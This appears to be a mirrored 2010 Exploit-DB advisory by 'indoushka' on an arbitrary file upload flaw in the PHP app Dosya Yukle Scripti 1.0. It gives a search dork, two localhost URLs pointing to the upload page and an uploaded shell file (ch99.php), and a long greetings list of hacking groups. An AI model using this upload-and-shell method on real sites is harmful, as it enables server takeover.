Dosya Yukle Scrtipi (DosyaYukle Scripti) 1.0 – Arbitrary File Upload - 体验盒子

作者： indoushka

日期： 2010-03-03

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11620/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

========================================================================================

| # Title: Dosya Yukle Scrtipi v1.0 Upload Vulnerability

| # Author : indoushka

| # email: indoushka@hotmail.com

| # Home : www.sec-war.com

| # Dork : Dosya Yukle Scrtipi v1.0

| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)

| # Bug: Upload

======================Exploit By indoushka =================================

# Exploit:

1- http://127.0.0.1/dosyayukle/

2- http://127.0.0.1/dosyayukle/dosyalar/ch99.php

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================

Greetz :

Exploit-db Team :

(loneferret+Exploits+dookie2000ca)

all my friend :

His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)

www.owned-m.com * Stake (www.v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)

www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)

www.hacker.ps * www.no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net

www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/

--------------------------------------------------------------------------------------------------------------